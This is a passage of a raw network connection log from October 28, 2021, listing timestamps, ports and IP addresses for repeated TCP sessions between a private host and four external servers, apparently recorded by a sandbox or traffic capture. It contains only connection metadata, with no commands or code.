Oct 28, 2021 04:51:25.222807884 CEST	8116	49803	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:25.295310020 CEST	49805	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:25.295356035 CEST	443	49805	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:25.295432091 CEST	49805	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:25.296086073 CEST	49805	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:25.296139956 CEST	443	49805	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:25.297018051 CEST	8116	49804	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:25.297044039 CEST	8116	49804	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:25.297087908 CEST	49804	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:25.297112942 CEST	49804	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:25.303070068 CEST	49804	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:25.350725889 CEST	8116	49804	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:25.431540012 CEST	49806	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:25.431579113 CEST	443	49806	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:25.431662083 CEST	49806	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:25.432754993 CEST	49806	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:25.432780027 CEST	443	49806	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:25.795380116 CEST	443	49805	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:25.795895100 CEST	49805	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:25.796555042 CEST	49805	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:25.796578884 CEST	443	49805	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:25.803021908 CEST	49805	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:25.803057909 CEST	443	49805	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:25.803128958 CEST	49805	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:25.803139925 CEST	443	49805	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:25.954329014 CEST	443	49806	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:25.955903053 CEST	49806	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:25.956541061 CEST	49806	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:25.956553936 CEST	443	49806	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:25.964587927 CEST	49806	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:25.964601994 CEST	443	49806	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:25.964675903 CEST	49806	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:25.964684010 CEST	443	49806	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:26.489227057 CEST	443	49805	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:26.489301920 CEST	443	49805	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:26.489432096 CEST	49805	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:26.489458084 CEST	49805	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:26.491859913 CEST	49805	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:26.491895914 CEST	443	49805	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:26.646667004 CEST	49807	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:26.676122904 CEST	443	49806	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:26.676193953 CEST	443	49806	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:26.676338911 CEST	49806	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:26.688394070 CEST	49806	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:26.688440084 CEST	443	49806	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:26.807988882 CEST	49808	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:26.809654951 CEST	808	49807	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:26.809757948 CEST	49807	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:26.810898066 CEST	49807	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:26.973788023 CEST	808	49808	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:26.973902941 CEST	808	49807	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:26.974066019 CEST	49808	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:26.974181890 CEST	808	49807	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:26.974272966 CEST	49807	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:26.974893093 CEST	49807	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:26.975120068 CEST	49808	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:26.980550051 CEST	49807	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:26.980674028 CEST	49807	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:27.137635946 CEST	808	49807	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:27.140358925 CEST	808	49808	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:27.140688896 CEST	808	49808	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:27.140831947 CEST	49808	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:27.141343117 CEST	49808	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:27.143356085 CEST	808	49807	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:27.143381119 CEST	808	49807	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:27.143390894 CEST	808	49807	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:27.143404961 CEST	808	49807	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:27.145198107 CEST	49808	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:27.145286083 CEST	49808	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:27.306694031 CEST	808	49808	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:27.312972069 CEST	808	49808	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:27.312999964 CEST	808	49808	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:27.313014984 CEST	808	49808	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:27.313029051 CEST	808	49808	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:27.520505905 CEST	808	49807	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:27.520545006 CEST	808	49807	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:27.520725965 CEST	49807	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:27.520761013 CEST	49807	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:27.523772955 CEST	49807	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:27.646131992 CEST	49809	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:27.686605930 CEST	808	49807	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:27.694582939 CEST	808	49808	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:27.694608927 CEST	808	49808	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:27.694777012 CEST	49808	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:27.702686071 CEST	49808	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:27.812686920 CEST	6891	49809	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:27.812832117 CEST	49809	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:27.813805103 CEST	49809	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:27.868102074 CEST	808	49808	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:27.881251097 CEST	49810	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:27.979976892 CEST	6891	49809	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:27.980099916 CEST	6891	49809	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:27.980181932 CEST	49809	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:27.982779026 CEST	49809	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:27.987838030 CEST	49809	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:27.987987041 CEST	49809	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:28.047596931 CEST	6891	49810	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:28.047703028 CEST	49810	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:28.048450947 CEST	49810	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:28.154150009 CEST	6891	49809	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:28.154186964 CEST	6891	49809	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:28.154242992 CEST	6891	49809	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:28.214656115 CEST	6891	49810	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:28.214771032 CEST	6891	49810	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:28.214834929 CEST	49810	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:28.215370893 CEST	49810	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:28.220014095 CEST	49810	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:28.220124006 CEST	49810	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:28.386288881 CEST	6891	49810	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:28.386318922 CEST	6891	49810	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:28.529932022 CEST	6891	49809	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:28.529961109 CEST	6891	49809	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:28.530039072 CEST	49809	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:28.530065060 CEST	49809	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:28.533354998 CEST	49809	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:28.644905090 CEST	49811	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:28.693301916 CEST	8116	49811	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:28.693392992 CEST	49811	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:28.694560051 CEST	49811	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:28.699754000 CEST	6891	49809	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:28.742646933 CEST	8116	49811	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:28.743043900 CEST	8116	49811	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:28.743108988 CEST	49811	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:28.743793964 CEST	49811	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:28.747970104 CEST	49811	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:28.748049974 CEST	49811	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:28.778280020 CEST	6891	49810	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:28.778306007 CEST	6891	49810	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:28.778446913 CEST	49810	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:28.778464079 CEST	49810	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:28.784840107 CEST	49810	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:28.796679974 CEST	8116	49811	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:28.796899080 CEST	8116	49811	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:28.915419102 CEST	49812	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:28.951086044 CEST	6891	49810	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:28.966666937 CEST	8116	49811	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:28.966696978 CEST	8116	49811	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:28.966828108 CEST	49811	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:28.966856956 CEST	49811	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:28.967478991 CEST	8116	49812	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:28.967596054 CEST	49812	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:28.968374014 CEST	49812	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:28.970627069 CEST	49811	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:29.018806934 CEST	8116	49811	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:29.020257950 CEST	8116	49812	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:29.020528078 CEST	8116	49812	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:29.020622969 CEST	49812	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:29.021214008 CEST	49812	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:29.026187897 CEST	49812	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:29.026283026 CEST	49812	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:29.078178883 CEST	8116	49812	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:29.078835011 CEST	8116	49812	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:29.079181910 CEST	8116	49812	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:29.129790068 CEST	49813	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:29.129864931 CEST	443	49813	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:29.130012035 CEST	49813	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:29.130724907 CEST	49813	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:29.130758047 CEST	443	49813	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:29.248800039 CEST	8116	49812	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:29.248831987 CEST	8116	49812	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:29.248976946 CEST	49812	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:29.251224041 CEST	49812	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:29.257143974 CEST	49812	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:29.309154034 CEST	8116	49812	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:29.384799004 CEST	49814	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:29.384859085 CEST	443	49814	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:29.384962082 CEST	49814	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:29.385691881 CEST	49814	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:29.385710955 CEST	443	49814	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:29.651520014 CEST	443	49813	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:29.651844025 CEST	49813	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:29.652930975 CEST	49813	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:29.652950048 CEST	443	49813	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:29.661010981 CEST	49813	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:29.661047935 CEST	443	49813	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:29.661151886 CEST	49813	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:29.661164999 CEST	443	49813	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:29.900379896 CEST	443	49814	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:29.900572062 CEST	49814	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:29.901385069 CEST	49814	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:29.901396036 CEST	443	49814	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:29.909353971 CEST	49814	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:29.909364939 CEST	443	49814	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:29.909557104 CEST	49814	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:29.909568071 CEST	443	49814	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:30.366250992 CEST	443	49813	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:30.366341114 CEST	443	49813	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:30.366524935 CEST	49813	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:30.366611958 CEST	49813	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:30.371665001 CEST	49813	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:30.371721029 CEST	443	49813	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:30.488888025 CEST	49815	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:30.615345955 CEST	443	49814	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:30.615464926 CEST	49814	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:30.615605116 CEST	443	49814	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:30.615688086 CEST	49814	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:30.623579025 CEST	49814	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:30.623606920 CEST	443	49814	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:30.652106047 CEST	808	49815	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:30.652365923 CEST	49815	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:30.653121948 CEST	49815	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:30.759399891 CEST	49816	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:30.816220999 CEST	808	49815	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:30.816394091 CEST	808	49815	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:30.816533089 CEST	49815	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:30.817012072 CEST	49815	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:30.820589066 CEST	49815	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:30.820682049 CEST	49815	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:30.919348001 CEST	808	49816	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:30.919540882 CEST	49816	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:30.920277119 CEST	49816	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:30.980072975 CEST	808	49815	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:30.983820915 CEST	808	49815	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:30.983855009 CEST	808	49815	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:30.983872890 CEST	808	49815	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:30.983887911 CEST	808	49815	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:31.080168962 CEST	808	49816	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:31.080202103 CEST	808	49816	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:31.080451012 CEST	49816	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:31.081060886 CEST	49816	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:31.086425066 CEST	49816	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:31.086604118 CEST	49816	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:31.240798950 CEST	808	49816	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:31.246733904 CEST	808	49816	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:31.246772051 CEST	808	49816	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:31.246787071 CEST	808	49816	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:31.246839046 CEST	808	49816	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:31.365015030 CEST	808	49815	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:31.365046024 CEST	808	49815	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:31.365108967 CEST	49815	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:31.365168095 CEST	49815	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:31.367786884 CEST	49815	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:31.489037037 CEST	49817	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:31.530848980 CEST	808	49815	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:31.631908894 CEST	808	49816	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:31.631942034 CEST	808	49816	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:31.631984949 CEST	49816	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:31.632016897 CEST	49816	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:31.638154984 CEST	49816	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:31.654499054 CEST	6891	49817	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:31.654633045 CEST	49817	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:31.655486107 CEST	49817	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:31.759988070 CEST	49818	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:31.798109055 CEST	808	49816	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:31.820868969 CEST	6891	49817	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:31.820913076 CEST	6891	49817	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:31.823201895 CEST	49817	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:31.823951960 CEST	49817	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:31.831041098 CEST	49817	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:31.831209898 CEST	49817	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:31.925429106 CEST	6891	49818	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:31.926810026 CEST	49818	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:31.927505970 CEST	49818	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:31.996553898 CEST	6891	49817	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:31.996592045 CEST	6891	49817	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:32.034257889 CEST	6891	49817	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:32.092681885 CEST	6891	49818	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:32.092713118 CEST	6891	49818	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:32.092798948 CEST	49818	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:32.093286991 CEST	49818	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:32.098176003 CEST	49818	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:32.098254919 CEST	49818	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:32.263710022 CEST	6891	49818	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:32.377774000 CEST	6891	49817	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:32.377801895 CEST	6891	49817	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:32.377980947 CEST	49817	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:32.381489038 CEST	49817	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:32.489325047 CEST	49819	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:32.542125940 CEST	8116	49819	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:32.542298079 CEST	49819	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:32.543262959 CEST	49819	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:32.547652960 CEST	6891	49817	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:32.595618010 CEST	8116	49819	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:32.595769882 CEST	8116	49819	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:32.595932961 CEST	49819	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:32.596584082 CEST	49819	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:32.601476908 CEST	49819	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:32.601623058 CEST	49819	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:32.644212961 CEST	6891	49818	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:32.644269943 CEST	6891	49818	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:32.644376040 CEST	49818	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:32.644429922 CEST	49818	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:32.649949074 CEST	49818	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:32.653877974 CEST	8116	49819	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:32.654587030 CEST	8116	49819	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:32.694936037 CEST	8116	49819	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:32.779997110 CEST	49820	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:32.815275908 CEST	6891	49818	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:32.825141907 CEST	8116	49819	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:32.825167894 CEST	8116	49819	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:32.825258970 CEST	49819	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:32.829302073 CEST	49819	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:32.831742048 CEST	8116	49820	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:32.831978083 CEST	49820	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:32.833198071 CEST	49820	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:32.881573915 CEST	8116	49819	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:32.884541988 CEST	8116	49820	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:32.884732008 CEST	8116	49820	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:32.884964943 CEST	49820	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:32.885576963 CEST	49820	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:32.891769886 CEST	49820	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:32.891818047 CEST	49820	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:32.944128990 CEST	8116	49820	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:32.944152117 CEST	8116	49820	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:32.944263935 CEST	8116	49820	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:33.004973888 CEST	49821	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:33.005042076 CEST	443	49821	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:33.005139112 CEST	49821	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:33.005997896 CEST	49821	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:33.006019115 CEST	443	49821	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:33.132637978 CEST	8116	49820	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:33.132658958 CEST	8116	49820	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:33.132777929 CEST	49820	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:33.132842064 CEST	49820	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:33.141660929 CEST	49820	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:33.193118095 CEST	8116	49820	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:33.254841089 CEST	49822	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:33.254920006 CEST	443	49822	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:33.256774902 CEST	49822	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:33.256840944 CEST	49822	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:33.256880045 CEST	443	49822	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:33.491724014 CEST	443	49821	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:33.491977930 CEST	49821	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:33.492889881 CEST	49821	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:33.492917061 CEST	443	49821	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:33.500863075 CEST	49821	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:33.500876904 CEST	443	49821	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:33.501051903 CEST	49821	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:33.501069069 CEST	443	49821	192.46.210.220	192.168.2.5
